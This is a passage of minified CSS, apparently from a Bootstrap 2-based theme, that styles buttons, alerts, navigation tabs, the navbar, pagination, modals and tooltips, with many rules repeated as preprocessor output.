rgba(0,0,0,0.05);-webkit-box-shadow:inset 0 1px 6px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 6px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 6px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05)}.btn .caret{margin-top:7px;margin-left:0}.btn:hover .caret,.open.btn-group .caret{opacity:1;filter:alpha(opacity=100);opacity:1;filter:alpha(opacity=100)}.btn-primary .caret,.btn-danger .caret,.btn-info .caret,.btn-success .caret,.btn-inverse .caret{border-top-color:#fff;opacity:.75;filter:alpha(opacity=75);opacity:.75;filter:alpha(opacity=75)}.btn-small .caret{margin-top:4px}.alert{padding:8px 35px 8px 14px;margin-bottom:21px;text-shadow:0 1px 0 rgba(255,255,255,0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.alert,.alert-heading{color:#c09853}.alert .close{position:relative;top:-2px;right:-21px;line-height:18px}.alert-success{background-color:#dff0d8;border-color:#d6e9c6}.alert-success,.alert-success .alert-heading{color:#468847}.alert-danger,.alert-error{background-color:#f2dede;border-color:#eed3d7}.alert-danger,.alert-error,.alert-danger .alert-heading,.alert-error .alert-heading{color:#b94a48}.alert-info{background-color:#d9edf7;border-color:#bce8f1}.alert-info,.alert-info .alert-heading{color:#3a87ad}.alert-block{padding-top:14px;padding-bottom:14px}.alert-block>p,.alert-block>ul{margin-bottom:0}.alert-block p+p{margin-top:5px}.nav{margin-left:0;margin-bottom:21px;list-style:none}.nav>li>a{display:block}.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav .nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:21px;color:#999;text-shadow:0 1px 0 rgba(255,255,255,0.5);text-transform:uppercase}.nav li+.nav-header{margin-top:9px}.nav-list{padding-left:14px;padding-right:14px;margin-bottom:0}.nav-list>li>a,.nav-list .nav-header{margin-left:-15px;margin-right:-15px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.nav-list>li>a{padding:3px 15px}.nav-list .active>a,.nav-list .active>a:hover{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.2);background-color:#9d261d}.nav-list [class^="icon-"]{margin-right:2px}.nav-tabs,.nav-pills{*zoom:1;*zoom:1}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;content:""}.nav-tabs:after,.nav-pills:after{clear:both}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;content:""}.nav-tabs:after,.nav-pills:after{clear:both}.nav-tabs>li,.nav-pills>li{float:left}.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{margin-bottom:-1px}.nav-tabs>li>a{padding-top:9px;padding-bottom:9px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>.active>a,.nav-tabs>.active>a:hover{color:#555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.nav-pills .active>a,.nav-pills .active>a:hover{color:#fff;background-color:#9d261d}.nav-stacked>li{float:none}.nav-stacked>li>a{margin-right:0}.nav-tabs.nav-stacked{border-bottom:0}.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.nav-tabs.nav-stacked>li>a:hover{border-color:#ddd;z-index:2}.nav-pills.nav-stacked>li>a{margin-bottom:3px}.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px}.nav-tabs .dropdown-menu,.nav-pills .dropdown-menu{margin-top:1px;border-width:1px}.nav-pills .dropdown-menu{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.nav-tabs .dropdown-toggle .caret,.nav-pills .dropdown-toggle .caret{border-top-color:#9d261d;margin-top:6px}.nav-tabs .dropdown-toggle:hover .caret,.nav-pills .dropdown-toggle:hover .caret{border-top-color:#5c1611}.nav-tabs .active .dropdown-toggle .caret,.nav-pills .active .dropdown-toggle .caret{border-top-color:#333}.nav>.dropdown.active>a:hover{color:#000;cursor:pointer}.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>.open.active>a:hover{color:#fff;background-color:#999;border-color:#999}.nav .open .caret,.nav .open.active .caret,.nav .open a:hover .caret{border-top-color:#fff;opacity:1;filter:alpha(opacity=100);opacity:1;filter:alpha(opacity=100)}.tabs-stacked .open>a:hover{border-color:#999}.tabbable{*zoom:1;*zoom:1}.tabbable:before,.tabbable:after{display:table;content:""}.tabbable:after{clear:both}.tabbable:before,.tabbable:after{display:table;content:""}.tabbable:after{clear:both}.tab-content{overflow:hidden}.tabs-below .nav-tabs,.tabs-right .nav-tabs,.tabs-left .nav-tabs{border-bottom:0}.tab-content>.tab-pane,.pill-content>.pill-pane{display:none}.tab-content>.active,.pill-content>.active{display:block}.tabs-below .nav-tabs{border-top:1px solid #ddd}.tabs-below .nav-tabs>li{margin-top:-1px;margin-bottom:0}.tabs-below .nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.tabs-below .nav-tabs>li>a:hover{border-bottom-color:transparent;border-top-color:#ddd}.tabs-below .nav-tabs .active>a,.tabs-below .nav-tabs .active>a:hover{border-color:transparent #ddd #ddd #ddd}.tabs-left .nav-tabs>li,.tabs-right .nav-tabs>li{float:none}.tabs-left .nav-tabs>li>a,.tabs-right .nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px}.tabs-left .nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd}.tabs-left .nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.tabs-left .nav-tabs>li>a:hover{border-color:#eee #ddd #eee #eee}.tabs-left .nav-tabs .active>a,.tabs-left .nav-tabs .active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#fff}.tabs-right .nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd}.tabs-right .nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.tabs-right .nav-tabs>li>a:hover{border-color:#eee #eee #eee #ddd}.tabs-right .nav-tabs .active>a,.tabs-right .nav-tabs .active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#fff}.navbar{overflow:visible;margin-bottom:21px}.navbar-inner{padding-left:20px;padding-right:20px;background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.25),inset 0 -1px 0 rgba(0,0,0,0.1);-moz-box-shadow:0 1px 3px rgba(0,0,0,0.25),inset 0 -1px 0 rgba(0,0,0,0.1);box-shadow:0 1px 3px rgba(0,0,0,0.25),inset 0 -1px 0 rgba(0,0,0,0.1);-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.25),inset 0 -1px 0 rgba(0,0,0,0.1);-moz-box-shadow:0 1px 3px rgba(0,0,0,0.25),inset 0 -1px 0 rgba(0,0,0,0.1);box-shadow:0 1px 3px rgba(0,0,0,0.25),inset 0 -1px 0 rgba(0,0,0,0.1)}.btn-navbar{display:none;float:right;padding:7px 10px;margin-left:5px;margin-right:5px;background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);border-color:#222 #222 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);border-color:#222 #222 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);border-color:#222 #222 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);background-color:#2c2c2c;background-image:-moz-linear-gradient(top,#333,#222);background-image:-ms-linear-gradient(top,#333,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#333),to(#222));background-image:-webkit-linear-gradient(top,#333,#222);background-image:-o-linear-gradient(top,#333,#222);background-image:linear-gradient(top,#333,#222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333',endColorstr='#222222',GradientType=0);border-color:#222 #222 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075)}.btn-navbar:hover,.btn-navbar:active,.btn-navbar.active,.btn-navbar.disabled,.btn-navbar[disabled]{background-color:#222}.btn-navbar:active,.btn-navbar.active{background-color:#080808 \9}.btn-navbar:hover,.btn-navbar:active,.btn-navbar.active,.btn-navbar.disabled,.btn-navbar[disabled]{background-color:#222}.btn-navbar:active,.btn-navbar.active{background-color:#080808 \9}.btn-navbar .icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0,0,0,0.25);-moz-box-shadow:0 1px 0 rgba(0,0,0,0.25);box-shadow:0 1px 0 rgba(0,0,0,0.25);-webkit-box-shadow:0 1px 0 rgba(0,0,0,0.25);-moz-box-shadow:0 1px 0 rgba(0,0,0,0.25);box-shadow:0 1px 0 rgba(0,0,0,0.25)}.btn-navbar .icon-bar+.icon-bar{margin-top:3px}.nav-collapse.collapse{height:auto}.navbar .brand:hover{text-decoration:none}.navbar .brand{float:left;display:block;padding:8px 20px 12px;margin-left:-20px;font-size:20px;font-weight:200;line-height:1;color:#fff}.navbar .navbar-text{margin-bottom:0;line-height:40px;color:#999}.navbar .navbar-text a:hover{color:#fff;background-color:transparent}.navbar .btn,.navbar .btn-group{margin-top:5px}.navbar .btn-group .btn{margin-top:0}.navbar-form{margin-bottom:0;*zoom:1;*zoom:1}.navbar-form:before,.navbar-form:after{display:table;content:""}.navbar-form:after{clear:both}.navbar-form:before,.navbar-form:after{display:table;content:""}.navbar-form:after{clear:both}.navbar-form input,.navbar-form select{display:inline-block;margin-top:5px;margin-bottom:0}.navbar-form .radio,.navbar-form .checkbox{margin-top:5px}.navbar-form input[type="image"],.navbar-form input[type="checkbox"],.navbar-form input[type="radio"]{margin-top:3px}.navbar-form .input-append,.navbar-form .input-prepend{margin-top:6px;white-space:nowrap}.navbar-form .input-append input,.navbar-form .input-prepend input{margin-top:0}.navbar-search{position:relative;float:left;margin-top:6px;margin-bottom:0}.navbar-search .search-query{padding:4px 9px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;font-size:13px;font-weight:normal;line-height:1;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;font-size:13px;font-weight:normal;line-height:1;color:#fff;color:rgba(255,255,255,0.75);background:#666;background:rgba(255,255,255,0.3);border:1px solid #111;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);-webkit-transition:none;-moz-transition:none;-ms-transition:none;-o-transition:none;transition:none;-webkit-transition:none;-moz-transition:none;-ms-transition:none;-o-transition:none;transition:none}.navbar-search .search-query :-moz-placeholder{color:#eee}.navbar-search .search-query::-webkit-input-placeholder{color:#eee}.navbar-search .search-query :-moz-placeholder{color:#eee}.navbar-search .search-query::-webkit-input-placeholder{color:#eee}.navbar-search .search-query:hover{color:#fff;background-color:#999;background-color:rgba(255,255,255,0.5)}.navbar-search .search-query:focus,.navbar-search .search-query.focused{padding:5px 10px;color:#333;text-shadow:0 1px 0 #fff;background-color:#fff;border:0;-webkit-box-shadow:0 0 3px rgba(0,0,0,0.15);-moz-box-shadow:0 0 3px rgba(0,0,0,0.15);box-shadow:0 0 3px rgba(0,0,0,0.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,0.15);-moz-box-shadow:0 0 3px rgba(0,0,0,0.15);box-shadow:0 0 3px rgba(0,0,0,0.15);outline:0}.navbar-fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.navbar-fixed-top .navbar-inner{padding-left:0;padding-right:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.navbar .nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0}.navbar .nav.pull-right{float:right}.navbar .nav>li{display:block;float:left}.navbar .nav>li>a{float:none;padding:10px 10px 11px;line-height:19px;color:#999;text-decoration:none;text-shadow:0 -1px 0 rgba(0,0,0,0.25)}.navbar .nav>li>a:hover{background-color:transparent;color:#fff;text-decoration:none}.navbar .nav .active>a,.navbar .nav .active>a:hover{color:#fff;text-decoration:none;background-color:#222}.navbar .divider-vertical{height:40px;width:1px;margin:0 9px;overflow:hidden;background-color:#222;border-right:1px solid #333}.navbar .nav.pull-right{margin-left:10px;margin-right:0}.navbar .dropdown-menu{margin-top:1px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.navbar .dropdown-menu:before{content:'';display:inline-block;border-left:7px solid transparent;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-bottom-color:rgba(0,0,0,0.2);position:absolute;top:-7px;left:9px}.navbar .dropdown-menu:after{content:'';display:inline-block;border-left:6px solid transparent;border-right:6px solid transparent;border-bottom:6px solid #fff;position:absolute;top:-6px;left:10px}.navbar .nav .dropdown-toggle .caret,.navbar .nav .open.dropdown .caret{border-top-color:#fff}.navbar .nav .active .caret{opacity:1;filter:alpha(opacity=100);opacity:1;filter:alpha(opacity=100)}.navbar .nav .open>.dropdown-toggle,.navbar .nav .active>.dropdown-toggle,.navbar .nav .open.active>.dropdown-toggle{background-color:transparent}.navbar .nav .active>.dropdown-toggle:hover{color:#fff}.navbar .nav.pull-right .dropdown-menu{left:auto;right:0}.navbar .nav.pull-right .dropdown-menu:before{left:auto;right:12px}.navbar .nav.pull-right .dropdown-menu:after{left:auto;right:13px}.breadcrumb{padding:7px 14px;margin:0 0 21px;background-color:#fbfbfb;background-image:-moz-linear-gradient(top,#fff,#f5f5f5);background-image:-ms-linear-gradient(top,#fff,#f5f5f5);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#f5f5f5));background-image:-webkit-linear-gradient(top,#fff,#f5f5f5);background-image:-o-linear-gradient(top,#fff,#f5f5f5);background-image:linear-gradient(top,#fff,#f5f5f5);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#f5f5f5',GradientType=0);background-color:#fbfbfb;background-image:-moz-linear-gradient(top,#fff,#f5f5f5);background-image:-ms-linear-gradient(top,#fff,#f5f5f5);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#f5f5f5));background-image:-webkit-linear-gradient(top,#fff,#f5f5f5);background-image:-o-linear-gradient(top,#fff,#f5f5f5);background-image:linear-gradient(top,#fff,#f5f5f5);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#f5f5f5',GradientType=0);border:1px solid #ddd;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 #fff;-moz-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;-moz-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff}.breadcrumb li{display:inline-block;text-shadow:0 1px 0 #fff}.breadcrumb .divider{padding:0 5px;color:#999}.breadcrumb .active a{color:#333}.pagination{height:42px;margin:21px 0}.pagination ul{display:inline-block;*display:inline;*zoom:1;*display:inline;*zoom:1;margin-left:0;margin-bottom:0;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:0 1px 2px rgba(0,0,0,0.05);box-shadow:0 1px 2px rgba(0,0,0,0.05);-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:0 1px 2px rgba(0,0,0,0.05);box-shadow:0 1px 2px rgba(0,0,0,0.05)}.pagination li{display:inline}.pagination a{float:left;padding:0 14px;line-height:40px;text-decoration:none;border:1px solid #ddd;border-left-width:0}.pagination a:hover,.pagination .active a{background-color:#f5f5f5}.pagination .active a{color:#999;cursor:default}.pagination .disabled a,.pagination .disabled a:hover{color:#999;background-color:transparent;cursor:default}.pagination li:first-child a{border-left-width:1px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.pagination li:last-child a{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.pagination-centered{text-align:center}.pagination-right{text-align:right}.pager{margin-left:0;margin-bottom:21px;list-style:none;text-align:center;*zoom:1;*zoom:1}.pager:before,.pager:after{display:table;content:""}.pager:after{clear:both}.pager:before,.pager:after{display:table;content:""}.pager:after{clear:both}.pager li{display:inline}.pager a{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.pager a:hover{text-decoration:none;background-color:#f5f5f5}.pager .next a{float:right}.pager .previous a{float:left}.modal-open .dropdown-menu{z-index:2050}.modal-open .dropdown.open{*z-index:2050}.modal-open .popover{z-index:2060}.modal-open .tooltip{z-index:2070}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop,.modal-backdrop.fade.in{opacity:.8;filter:alpha(opacity=80);opacity:.8;filter:alpha(opacity=80)}.modal{position:fixed;top:50%;left:50%;z-index:1050;max-height:500px;overflow:auto;width:560px;margin:-250px 0 0 -280px;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0,0,0,0.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,0.3);box-shadow:0 3px 7px rgba(0,0,0,0.3);-webkit-box-shadow:0 3px 7px rgba(0,0,0,0.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,0.3);box-shadow:0 3px 7px rgba(0,0,0,0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box}.modal.fade{-webkit-transition:opacity .3s linear,top .3s ease-out;-moz-transition:opacity .3s linear,top .3s ease-out;-ms-transition:opacity .3s linear,top .3s ease-out;-o-transition:opacity .3s linear,top .3s ease-out;transition:opacity .3s linear,top .3s ease-out;-webkit-transition:opacity .3s linear,top .3s ease-out;-moz-transition:opacity .3s linear,top .3s ease-out;-ms-transition:opacity .3s linear,top .3s ease-out;-o-transition:opacity .3s linear,top .3s ease-out;transition:opacity .3s linear,top .3s ease-out;top:-25%}.modal.fade.in{top:50%}.modal-header{padding:9px 15px;border-bottom:1px solid #eee}.modal-header .close{margin-top:2px}.modal-body{padding:15px}.modal-body .modal-form{margin-bottom:0}.modal-footer{padding:14px 15px 15px;margin-bottom:0;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:inset 0 1px 0 #fff;-moz-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;-moz-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;*zoom:1;*zoom:1}.modal-footer:before,.modal-footer:after{display:table;content:""}.modal-footer:after{clear:both}.modal-footer:before,.modal-footer:after{display:table;content:""}.modal-footer:after{clear:both}.modal-footer .btn{float:right;margin-left:5px;margin-bottom:0}.tooltip{position:absolute;z-index:1020;display:block;visibility:visible;padding:5px;font-size:11px;opacity:0;filter:alpha(opacity=0);opacity:0;filter:alpha(opacity=0)}.tooltip.in{opacity:.8;filter:alpha(opacity=80);opacity:.8;filter:alpha(opacity=80)}.tooltip.top{margin-top:-2px}.tooltip.right{margin-left:2px}.tooltip.bottom{margin-top:2px}.tooltip.left{margin-left:-2px}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000;bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000;top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000;top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000;top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0}.popover{position:absolute;top:0;left:0;z-index:1010;display:none;padding:5px}.popover.top{margin-top:-5px}.popover.right{margin-left:5px}.popover.bottom{margin-top:5px}.popover.left{margin-left:-5px}.popover.top .arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000;bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000}.popover.right .arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid 